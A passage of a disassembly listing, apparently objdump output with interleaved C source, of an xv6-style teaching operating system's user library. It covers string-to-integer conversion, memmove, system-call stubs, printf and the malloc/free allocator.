(%eax),%eax 26e: 3c 20 cmp $0x20,%al 270: 74 f2 je 264 <atoi+0xf> sign = (*s == '-') ? -1 : 1; 272: 8b 45 08 mov 0x8(%ebp),%eax 275: 0f b6 00 movzbl (%eax),%eax 278: 3c 2d cmp $0x2d,%al 27a: 75 07 jne 283 <atoi+0x2e> 27c: b8 ff ff ff ff mov $0xffffffff,%eax 281: eb 05 jmp 288 <atoi+0x33> 283: b8 01 00 00 00 mov $0x1,%eax 288: 89 45 f8 mov %eax,-0x8(%ebp) if (*s == '+' || *s == '-') 28b: 8b 45 08 mov 0x8(%ebp),%eax 28e: 0f b6 00 movzbl (%eax),%eax 291: 3c 2b cmp $0x2b,%al 293: 74 0a je 29f <atoi+0x4a> 295: 8b 45 08 mov 0x8(%ebp),%eax 298: 0f b6 00 movzbl (%eax),%eax 29b: 3c 2d cmp $0x2d,%al 29d: 75 2b jne 2ca <atoi+0x75> s++; 29f: 83 45 08 01 addl $0x1,0x8(%ebp) while('0' <= *s && *s <= '9') 2a3: eb 25 jmp 2ca <atoi+0x75> n = n*10 + *s++ - '0'; 2a5: 8b 55 fc mov -0x4(%ebp),%edx 2a8: 89 d0 mov %edx,%eax 2aa: c1 e0 02 shl $0x2,%eax 2ad: 01 d0 add %edx,%eax 2af: 01 c0 add %eax,%eax 2b1: 89 c1 mov %eax,%ecx 2b3: 8b 45 08 mov 0x8(%ebp),%eax 2b6: 8d 50 01 lea 0x1(%eax),%edx 2b9: 89 55 08 mov %edx,0x8(%ebp) 2bc: 0f b6 00 movzbl (%eax),%eax 2bf: 0f be c0 movsbl %al,%eax 2c2: 01 c8 add %ecx,%eax 2c4: 83 e8 30 sub $0x30,%eax 2c7: 89 45 fc mov %eax,-0x4(%ebp) n = 0; while (*s == ' ') s++; sign = (*s == '-') ? -1 : 1; if (*s == '+' || *s == '-') s++; while('0' <= *s && *s <= '9') 2ca: 8b 45 08 mov 0x8(%ebp),%eax 2cd: 0f b6 00 movzbl (%eax),%eax 2d0: 3c 2f cmp $0x2f,%al 2d2: 7e 0a jle 2de <atoi+0x89> 2d4: 8b 45 08 mov 0x8(%ebp),%eax 2d7: 0f b6 00 movzbl (%eax),%eax 2da: 3c 39 cmp $0x39,%al 2dc: 7e c7 jle 2a5 <atoi+0x50> n = n*10 + *s++ - '0'; return sign*n; 2de: 8b 45 f8 mov -0x8(%ebp),%eax 2e1: 0f af 45 fc imul -0x4(%ebp),%eax } 2e5: c9 leave 2e6: c3 ret 000002e7 <atoo>: int atoo(const char *s) { 2e7: 55 push %ebp 2e8: 89 e5 mov %esp,%ebp 2ea: 83 ec 10 sub $0x10,%esp int n, sign; n = 0; 2ed: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while (*s == ' ') s++; 2f4: eb 04 jmp 2fa <atoo+0x13> 2f6: 83 45 08 01 addl $0x1,0x8(%ebp) 2fa: 8b 45 08 mov 0x8(%ebp),%eax 2fd: 0f b6 00 movzbl (%eax),%eax 300: 3c 20 cmp $0x20,%al 302: 74 f2 je 2f6 <atoo+0xf> sign = (*s == '-') ? -1 : 1; 304: 8b 45 08 mov 0x8(%ebp),%eax 307: 0f b6 00 movzbl (%eax),%eax 30a: 3c 2d cmp $0x2d,%al 30c: 75 07 jne 315 <atoo+0x2e> 30e: b8 ff ff ff ff mov $0xffffffff,%eax 313: eb 05 jmp 31a <atoo+0x33> 315: b8 01 00 00 00 mov $0x1,%eax 31a: 89 45 f8 mov %eax,-0x8(%ebp) if (*s == '+' || *s == '-') 31d: 8b 45 08 mov 0x8(%ebp),%eax 320: 0f b6 00 movzbl (%eax),%eax 323: 3c 2b cmp $0x2b,%al 325: 74 0a je 331 <atoo+0x4a> 327: 8b 45 08 mov 0x8(%ebp),%eax 32a: 0f b6 00 movzbl (%eax),%eax 32d: 3c 2d cmp $0x2d,%al 32f: 75 27 jne 358 <atoo+0x71> s++; 331: 83 45 08 01 addl $0x1,0x8(%ebp) while('0' <= *s && *s <= '7') 335: eb 21 jmp 358 <atoo+0x71> n = n*8 + *s++ - '0'; 337: 8b 45 fc mov -0x4(%ebp),%eax 33a: 8d 0c c5 00 00 00 00 lea 0x0(,%eax,8),%ecx 341: 8b 45 08 mov 0x8(%ebp),%eax 344: 8d 50 01 lea 0x1(%eax),%edx 347: 89 55 08 mov %edx,0x8(%ebp) 34a: 0f b6 00 movzbl (%eax),%eax 34d: 0f be c0 movsbl %al,%eax 350: 01 c8 add %ecx,%eax 352: 83 e8 30 sub $0x30,%eax 355: 89 45 fc mov %eax,-0x4(%ebp) n = 0; while (*s == ' ') s++; sign = (*s == '-') ? -1 : 1; if (*s == '+' || *s == '-') s++; while('0' <= *s && *s <= '7') 358: 8b 45 08 mov 0x8(%ebp),%eax 35b: 0f b6 00 movzbl (%eax),%eax 35e: 3c 2f cmp $0x2f,%al 360: 7e 0a jle 36c <atoo+0x85> 362: 8b 45 08 mov 0x8(%ebp),%eax 365: 0f b6 00 movzbl (%eax),%eax 368: 3c 37 cmp $0x37,%al 36a: 7e cb jle 337 <atoo+0x50> n = n*8 + *s++ - '0'; return sign*n; 36c: 8b 45 f8 mov -0x8(%ebp),%eax 36f: 0f af 45 fc imul -0x4(%ebp),%eax } 373: c9 leave 374: c3 ret 00000375 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 375: 55 push %ebp 376: 89 e5 mov %esp,%ebp 378: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 37b: 8b 45 08 mov 0x8(%ebp),%eax 37e: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 381: 8b 45 0c mov 0xc(%ebp),%eax 384: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 387: eb 17 jmp 3a0 <memmove+0x2b> *dst++ = *src++; 389: 8b 45 fc mov -0x4(%ebp),%eax 38c: 8d 50 01 lea 0x1(%eax),%edx 38f: 89 55 fc mov %edx,-0x4(%ebp) 392: 8b 55 f8 mov -0x8(%ebp),%edx 395: 8d 4a 01 lea 0x1(%edx),%ecx 398: 89 4d f8 mov %ecx,-0x8(%ebp) 39b: 0f b6 12 movzbl (%edx),%edx 39e: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 3a0: 8b 45 10 mov 0x10(%ebp),%eax 3a3: 8d 50 ff lea -0x1(%eax),%edx 3a6: 89 55 10 mov %edx,0x10(%ebp) 3a9: 85 c0 test %eax,%eax 3ab: 7f dc jg 389 <memmove+0x14> *dst++ = *src++; return vdst; 3ad: 8b 45 08 mov 0x8(%ebp),%eax } 3b0: c9 leave 3b1: c3 ret 000003b2 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 3b2: b8 01 00 00 00 mov $0x1,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <exit>: SYSCALL(exit) 3ba: b8 02 00 00 00 mov $0x2,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <wait>: SYSCALL(wait) 3c2: b8 03 00 00 00 mov $0x3,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <pipe>: SYSCALL(pipe) 3ca: b8 04 00 00 00 mov $0x4,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <read>: SYSCALL(read) 3d2: b8 05 00 00 00 mov $0x5,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <write>: SYSCALL(write) 3da: b8 10 00 00 00 mov $0x10,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <close>: SYSCALL(close) 3e2: b8 15 00 00 00 mov $0x15,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <kill>: SYSCALL(kill) 3ea: b8 06 00 00 00 mov $0x6,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <exec>: SYSCALL(exec) 3f2: b8 07 00 00 00 mov $0x7,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <open>: SYSCALL(open) 3fa: b8 0f 00 00 00 mov $0xf,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <mknod>: SYSCALL(mknod) 402: b8 11 00 00 00 mov $0x11,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <unlink>: SYSCALL(unlink) 40a: b8 12 00 00 00 mov $0x12,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <fstat>: SYSCALL(fstat) 412: b8 08 00 00 00 mov $0x8,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <link>: SYSCALL(link) 41a: b8 13 00 00 00 mov $0x13,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <mkdir>: SYSCALL(mkdir) 422: b8 14 00 00 00 mov $0x14,%eax 427: cd 40 int $0x40 429: c3 ret 0000042a <chdir>: SYSCALL(chdir) 42a: b8 09 00 00 00 mov $0x9,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <dup>: SYSCALL(dup) 432: b8 0a 00 00 00 mov $0xa,%eax 437: cd 40 int $0x40 439: c3 ret 0000043a <getpid>: SYSCALL(getpid) 43a: b8 0b 00 00 00 mov $0xb,%eax 43f: cd 40 int $0x40 441: c3 ret 00000442 <sbrk>: SYSCALL(sbrk) 442: b8 0c 00 00 00 mov $0xc,%eax 447: cd 40 int $0x40 449: c3 ret 0000044a <sleep>: SYSCALL(sleep) 44a: b8 0d 00 00 00 mov $0xd,%eax 44f: cd 40 int $0x40 451: c3 ret 00000452 <uptime>: SYSCALL(uptime) 452: b8 0e 00 00 00 mov $0xe,%eax 457: cd 40 int $0x40 459: c3 ret 0000045a <halt>: SYSCALL(halt) 45a: b8 16 00 00 00 mov $0x16,%eax 45f: cd 40 int $0x40 461: c3 ret 00000462 <date>: SYSCALL(date) 462: b8 17 00 00 00 mov $0x17,%eax 467: cd 40 int $0x40 469: c3 ret 0000046a <getuid>: SYSCALL(getuid) 46a: b8 18 00 00 00 mov $0x18,%eax 46f: cd 40 int $0x40 471: c3 ret 00000472 <getgid>: SYSCALL(getgid) 472: b8 19 00 00 00 mov $0x19,%eax 477: cd 40 int $0x40 479: c3 ret 0000047a <getppid>: SYSCALL(getppid) 47a: b8 1a 00 00 00 mov $0x1a,%eax 47f: cd 40 int $0x40 481: c3 ret 00000482 <setuid>: SYSCALL(setuid) 482: b8 1b 00 00 00 mov $0x1b,%eax 487: cd 40 int $0x40 489: c3 ret 0000048a <setgid>: SYSCALL(setgid) 48a: b8 1c 00 00 00 mov $0x1c,%eax 48f: cd 40 int $0x40 491: c3 ret 00000492 <getprocs>: SYSCALL(getprocs) 492: b8 1d 00 00 00 mov $0x1d,%eax 497: cd 40 int $0x40 499: c3 ret 0000049a <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 49a: 55 push %ebp 49b: 89 e5 mov %esp,%ebp 49d: 83 ec 18 sub $0x18,%esp 4a0: 8b 45 0c mov 0xc(%ebp),%eax 4a3: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 4a6: 83 ec 04 sub $0x4,%esp 4a9: 6a 01 push $0x1 4ab: 8d 45 f4 lea -0xc(%ebp),%eax 4ae: 50 push %eax 4af: ff 75 08 pushl 0x8(%ebp) 4b2: e8 23 ff ff ff call 3da <write> 4b7: 83 c4 10 add $0x10,%esp } 4ba: 90 nop 4bb: c9 leave 4bc: c3 ret 000004bd <printint>: static void printint(int fd, int xx, int base, int sgn) { 4bd: 55 push %ebp 4be: 89 e5 mov %esp,%ebp 4c0: 53 push %ebx 4c1: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 4c4: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 4cb: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 4cf: 74 17 je 4e8 <printint+0x2b> 4d1: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 4d5: 79 11 jns 4e8 <printint+0x2b> neg = 1; 4d7: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 4de: 8b 45 0c mov 0xc(%ebp),%eax 4e1: f7 d8 neg %eax 4e3: 89 45 ec mov %eax,-0x14(%ebp) 4e6: eb 06 jmp 4ee <printint+0x31> } else { x = xx; 4e8: 8b 45 0c mov 0xc(%ebp),%eax 4eb: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 4ee: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 4f5: 8b 4d f4 mov -0xc(%ebp),%ecx 4f8: 8d 41 01 lea 0x1(%ecx),%eax 4fb: 89 45 f4 mov %eax,-0xc(%ebp) 4fe: 8b 5d 10 mov 0x10(%ebp),%ebx 501: 8b 45 ec mov -0x14(%ebp),%eax 504: ba 00 00 00 00 mov $0x0,%edx 509: f7 f3 div %ebx 50b: 89 d0 mov %edx,%eax 50d: 0f b6 80 c8 0b 00 00 movzbl 0xbc8(%eax),%eax 514: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 518: 8b 5d 10 mov 0x10(%ebp),%ebx 51b: 8b 45 ec mov -0x14(%ebp),%eax 51e: ba 00 00 00 00 mov $0x0,%edx 523: f7 f3 div %ebx 525: 89 45 ec mov %eax,-0x14(%ebp) 528: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 52c: 75 c7 jne 4f5 <printint+0x38> if(neg) 52e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 532: 74 2d je 561 <printint+0xa4> buf[i++] = '-'; 534: 8b 45 f4 mov -0xc(%ebp),%eax 537: 8d 50 01 lea 0x1(%eax),%edx 53a: 89 55 f4 mov %edx,-0xc(%ebp) 53d: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 542: eb 1d jmp 561 <printint+0xa4> putc(fd, buf[i]); 544: 8d 55 dc lea -0x24(%ebp),%edx 547: 8b 45 f4 mov -0xc(%ebp),%eax 54a: 01 d0 add %edx,%eax 54c: 0f b6 00 movzbl (%eax),%eax 54f: 0f be c0 movsbl %al,%eax 552: 83 ec 08 sub $0x8,%esp 555: 50 push %eax 556: ff 75 08 pushl 0x8(%ebp) 559: e8 3c ff ff ff call 49a <putc> 55e: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 561: 83 6d f4 01 subl $0x1,-0xc(%ebp) 565: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 569: 79 d9 jns 544 <printint+0x87> putc(fd, buf[i]); } 56b: 90 nop 56c: 8b 5d fc mov -0x4(%ebp),%ebx 56f: c9 leave 570: c3 ret 00000571 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 571: 55 push %ebp 572: 89 e5 mov %esp,%ebp 574: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 577: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 57e: 8d 45 0c lea 0xc(%ebp),%eax 581: 83 c0 04 add $0x4,%eax 584: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 587: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 58e: e9 59 01 00 00 jmp 6ec <printf+0x17b> c = fmt[i] & 0xff; 593: 8b 55 0c mov 0xc(%ebp),%edx 596: 8b 45 f0 mov -0x10(%ebp),%eax 599: 01 d0 add %edx,%eax 59b: 0f b6 00 movzbl (%eax),%eax 59e: 0f be c0 movsbl %al,%eax 5a1: 25 ff 00 00 00 and $0xff,%eax 5a6: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 5a9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 5ad: 75 2c jne 5db <printf+0x6a> if(c == '%'){ 5af: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 5b3: 75 0c jne 5c1 <printf+0x50> state = '%'; 5b5: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 5bc: e9 27 01 00 00 jmp 6e8 <printf+0x177> } else { putc(fd, c); 5c1: 8b 45 e4 mov -0x1c(%ebp),%eax 5c4: 0f be c0 movsbl %al,%eax 5c7: 83 ec 08 sub $0x8,%esp 5ca: 50 push %eax 5cb: ff 75 08 pushl 0x8(%ebp) 5ce: e8 c7 fe ff ff call 49a <putc> 5d3: 83 c4 10 add $0x10,%esp 5d6: e9 0d 01 00 00 jmp 6e8 <printf+0x177> } } else if(state == '%'){ 5db: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 5df: 0f 85 03 01 00 00 jne 6e8 <printf+0x177> if(c == 'd'){ 5e5: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 5e9: 75 1e jne 609 <printf+0x98> printint(fd, *ap, 10, 1); 5eb: 8b 45 e8 mov -0x18(%ebp),%eax 5ee: 8b 00 mov (%eax),%eax 5f0: 6a 01 push $0x1 5f2: 6a 0a push $0xa 5f4: 50 push %eax 5f5: ff 75 08 pushl 0x8(%ebp) 5f8: e8 c0 fe ff ff call 4bd <printint> 5fd: 83 c4 10 add $0x10,%esp ap++; 600: 83 45 e8 04 addl $0x4,-0x18(%ebp) 604: e9 d8 00 00 00 jmp 6e1 <printf+0x170> } else if(c == 'x' || c == 'p'){ 609: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 60d: 74 06 je 615 <printf+0xa4> 60f: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 613: 75 1e jne 633 <printf+0xc2> printint(fd, *ap, 16, 0); 615: 8b 45 e8 mov -0x18(%ebp),%eax 618: 8b 00 mov (%eax),%eax 61a: 6a 00 push $0x0 61c: 6a 10 push $0x10 61e: 50 push %eax 61f: ff 75 08 pushl 0x8(%ebp) 622: e8 96 fe ff ff call 4bd <printint> 627: 83 c4 10 add $0x10,%esp ap++; 62a: 83 45 e8 04 addl $0x4,-0x18(%ebp) 62e: e9 ae 00 00 00 jmp 6e1 <printf+0x170> } else if(c == 's'){ 633: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 637: 75 43 jne 67c <printf+0x10b> s = (char*)*ap; 639: 8b 45 e8 mov -0x18(%ebp),%eax 63c: 8b 00 mov (%eax),%eax 63e: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 641: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 645: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 649: 75 25 jne 670 <printf+0xff> s = "(null)"; 64b: c7 45 f4 54 09 00 00 movl $0x954,-0xc(%ebp) while(*s != 0){ 652: eb 1c jmp 670 <printf+0xff> putc(fd, *s); 654: 8b 45 f4 mov -0xc(%ebp),%eax 657: 0f b6 00 movzbl (%eax),%eax 65a: 0f be c0 movsbl %al,%eax 65d: 83 ec 08 sub $0x8,%esp 660: 50 push %eax 661: ff 75 08 pushl 0x8(%ebp) 664: e8 31 fe ff ff call 49a <putc> 669: 83 c4 10 add $0x10,%esp s++; 66c: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 670: 8b 45 f4 mov -0xc(%ebp),%eax 673: 0f b6 00 movzbl (%eax),%eax 676: 84 c0 test %al,%al 678: 75 da jne 654 <printf+0xe3> 67a: eb 65 jmp 6e1 <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 67c: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 680: 75 1d jne 69f <printf+0x12e> putc(fd, *ap); 682: 8b 45 e8 mov -0x18(%ebp),%eax 685: 8b 00 mov (%eax),%eax 687: 0f be c0 movsbl %al,%eax 68a: 83 ec 08 sub $0x8,%esp 68d: 50 push %eax 68e: ff 75 08 pushl 0x8(%ebp) 691: e8 04 fe ff ff call 49a <putc> 696: 83 c4 10 add $0x10,%esp ap++; 699: 83 45 e8 04 addl $0x4,-0x18(%ebp) 69d: eb 42 jmp 6e1 <printf+0x170> } else if(c == '%'){ 69f: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 6a3: 75 17 jne 6bc <printf+0x14b> putc(fd, c); 6a5: 8b 45 e4 mov -0x1c(%ebp),%eax 6a8: 0f be c0 movsbl %al,%eax 6ab: 83 ec 08 sub $0x8,%esp 6ae: 50 push %eax 6af: ff 75 08 pushl 0x8(%ebp) 6b2: e8 e3 fd ff ff call 49a <putc> 6b7: 83 c4 10 add $0x10,%esp 6ba: eb 25 jmp 6e1 <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 6bc: 83 ec 08 sub $0x8,%esp 6bf: 6a 25 push $0x25 6c1: ff 75 08 pushl 0x8(%ebp) 6c4: e8 d1 fd ff ff call 49a <putc> 6c9: 83 c4 10 add $0x10,%esp putc(fd, c); 6cc: 8b 45 e4 mov -0x1c(%ebp),%eax 6cf: 0f be c0 movsbl %al,%eax 6d2: 83 ec 08 sub $0x8,%esp 6d5: 50 push %eax 6d6: ff 75 08 pushl 0x8(%ebp) 6d9: e8 bc fd ff ff call 49a <putc> 6de: 83 c4 10 add $0x10,%esp } state = 0; 6e1: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6e8: 83 45 f0 01 addl $0x1,-0x10(%ebp) 6ec: 8b 55 0c mov 0xc(%ebp),%edx 6ef: 8b 45 f0 mov -0x10(%ebp),%eax 6f2: 01 d0 add %edx,%eax 6f4: 0f b6 00 movzbl (%eax),%eax 6f7: 84 c0 test %al,%al 6f9: 0f 85 94 fe ff ff jne 593 <printf+0x22> putc(fd, c); } state = 0; } } } 6ff: 90 nop 700: c9 leave 701: c3 ret 00000702 <free>: static Header base; static Header *freep; void free(void *ap) { 702: 55 push %ebp 703: 89 e5 mov %esp,%ebp 705: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 708: 8b 45 08 mov 0x8(%ebp),%eax 70b: 83 e8 08 sub $0x8,%eax 70e: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 711: a1 e4 0b 00 00 mov 0xbe4,%eax 716: 89 45 fc mov %eax,-0x4(%ebp) 719: eb 24 jmp 73f <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 71b: 8b 45 fc mov -0x4(%ebp),%eax 71e: 8b 00 mov (%eax),%eax 720: 3b 45 fc cmp -0x4(%ebp),%eax 723: 77 12 ja 737 <free+0x35> 725: 8b 45 f8 mov -0x8(%ebp),%eax 728: 3b 45 fc cmp -0x4(%ebp),%eax 72b: 77 24 ja 751 <free+0x4f> 72d: 8b 45 fc mov -0x4(%ebp),%eax 730: 8b 00 mov (%eax),%eax 732: 3b 45 f8 cmp -0x8(%ebp),%eax 735: 77 1a ja 751 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 737: 8b 45 fc mov -0x4(%ebp),%eax 73a: 8b 00 mov (%eax),%eax 73c: 89 45 fc mov %eax,-0x4(%ebp) 73f: 8b 45 f8 mov -0x8(%ebp),%eax 742: 3b 45 fc cmp -0x4(%ebp),%eax 745: 76 d4 jbe 71b <free+0x19> 747: 8b 45 fc mov -0x4(%ebp),%eax 74a: 8b 00 mov (%eax),%eax 74c: 3b 45 f8 cmp -0x8(%ebp),%eax 74f: 76 ca jbe 71b <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 751: 8b 45 f8 mov -0x8(%ebp),%eax 754: 8b 40 04 mov 0x4(%eax),%eax 757: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 75e: 8b 45 f8 mov -0x8(%ebp),%eax 761: 01 c2 add %eax,%edx 763: 8b 45 fc mov -0x4(%ebp),%eax 766: 8b 00 mov (%eax),%eax 768: 39 c2 cmp %eax,%edx 76a: 75 24 jne 790 <free+0x8e> bp->s.size += p->s.ptr->s.size; 76c: 8b 45 f8 mov -0x8(%ebp),%eax 76f: 8b 50 04 mov 0x4(%eax),%edx 772: 8b 45 fc mov -0x4(%ebp),%eax 775: 8b 00 mov (%eax),%eax 777: 8b 40 04 mov 0x4(%eax),%eax 77a: 01 c2 add %eax,%edx 77c: 8b 45 f8 mov -0x8(%ebp),%eax 77f: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 782: 8b 45 fc mov -0x4(%ebp),%eax 785: 8b 00 mov (%eax),%eax 787: 8b 10 mov (%eax),%edx 789: 8b 45 f8 mov -0x8(%ebp),%eax 78c: 89 10 mov %edx,(%eax) 78e: eb 0a jmp 79a <free+0x98> } else bp->s.ptr = p->s.ptr; 790: 8b 45 fc mov -0x4(%ebp),%eax 793: 8b 10 mov (%eax),%edx 795: 8b 45 f8 mov -0x8(%ebp),%eax 798: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 79a: 8b 45 fc mov -0x4(%ebp),%eax 79d: 8b 40 04 mov 0x4(%eax),%eax 7a0: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 7a7: 8b 45 fc mov -0x4(%ebp),%eax 7aa: 01 d0 add %edx,%eax 7ac: 3b 45 f8 cmp -0x8(%ebp),%eax 7af: 75 20 jne 7d1 <free+0xcf> p->s.size += bp->s.size; 7b1: 8b 45 fc mov -0x4(%ebp),%eax 7b4: 8b 50 04 mov 0x4(%eax),%edx 7b7: 8b 45 f8 mov -0x8(%ebp),%eax 7ba: 8b 40 04 mov 0x4(%eax),%eax 7bd: 01 c2 add %eax,%edx 7bf: 8b 45 fc mov -0x4(%ebp),%eax 7c2: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 7c5: 8b 45 f8 mov -0x8(%ebp),%eax 7c8: 8b 10 mov (%eax),%edx 7ca: 8b 45 fc mov -0x4(%ebp),%eax 7cd: 89 10 mov %edx,(%eax) 7cf: eb 08 jmp 7d9 <free+0xd7> } else p->s.ptr = bp; 7d1: 8b 45 fc mov -0x4(%ebp),%eax 7d4: 8b 55 f8 mov -0x8(%ebp),%edx 7d7: 89 10 mov %edx,(%eax) freep = p; 7d9: 8b 45 fc mov -0x4(%ebp),%eax 7dc: a3 e4 0b 00 00 mov %eax,0xbe4 } 7e1: 90 nop 7e2: c9 leave 7e3: c3 ret 000007e4 <morecore>: static Header* morecore(uint nu) { 7e4: 55 push %ebp 7e5: 89 e5 mov %esp,%ebp 7e7: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 7ea: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 7f1: 77 07 ja 7fa <morecore+0x16> nu = 4096; 7f3: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 7fa: 8b 45 08 mov 0x8(%ebp),%eax 7fd: c1 e0 03 shl $0x3,%eax 800: 83 ec 0c sub $0xc,%esp 803: 50 push %eax 804: e8 39 fc ff ff call 442 <sbrk> 809: 83 c4 10 add $0x10,%esp 80c: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 80f: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 813: 75 07 jne 81c <morecore+0x38> return 0; 815: b8 00 00 00 00 mov $0x0,%eax 81a: eb 26 jmp 842 <morecore+0x5e> hp = (Header*)p; 81c: 8b 45 f4 mov -0xc(%ebp),%eax 81f: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 822: 8b 45 f0 mov -0x10(%ebp),%eax 825: 8b 55 08 mov 0x8(%ebp),%edx 828: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 82b: 8b 45 f0 mov -0x10(%ebp),%eax 82e: 83 c0 08 add $0x8,%eax 831: 83 ec 0c sub $0xc,%esp 834: 50 push %eax 835: e8 c8 fe ff ff call 702 <free> 83a: 83 c4 10 add $0x10,%esp return freep; 83d: a1 e4 0b 00 00 mov 0xbe4,%eax } 842: c9 leave 843: c3 ret 00000844 <malloc>: void* malloc(uint nbytes) { 844: 55 push %ebp 845: 89 e5 mov %esp,%ebp 847: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 84a: 8b 45 08 mov 0x8(%ebp),%eax 84d: 83 c0 07 add $0x7,%eax 850: c1 e8 03 shr $0x3,%eax 853: 83 c0 01 add $0x1,%eax 856: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 859: a1 e4 0b 00 00 mov 0xbe4,%eax 85e: 89 45 f0 mov %eax,-0x10(%ebp) 861: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 865: 75 23 jne 88a <malloc+0x46> base.s.ptr = freep = prevp = &base; 867: c7 45 f0 dc 0b 00 00 movl $0xbdc,-0x10(%ebp) 86e: 8b 45 f0 mov -0x10(%ebp),%eax 871: a3 e4 0b 00 00 mov %eax,0xbe4 876: a1 e4 0b 00 00 mov 0xbe4,%eax 87b: a3 dc 0b 00 00 mov %eax,0xbdc base.s.size = 0; 880: c7 05 e0 0b 00 00 00 movl $0x0,0xbe0 887: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 88a: 8b 45 f0 mov -0x10(%ebp),%eax 88d: 8b 00 mov (%eax),%eax 88f: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 892: 8b 45 f4 mov -0xc(%ebp),%eax 895: 8b 40 04 mov 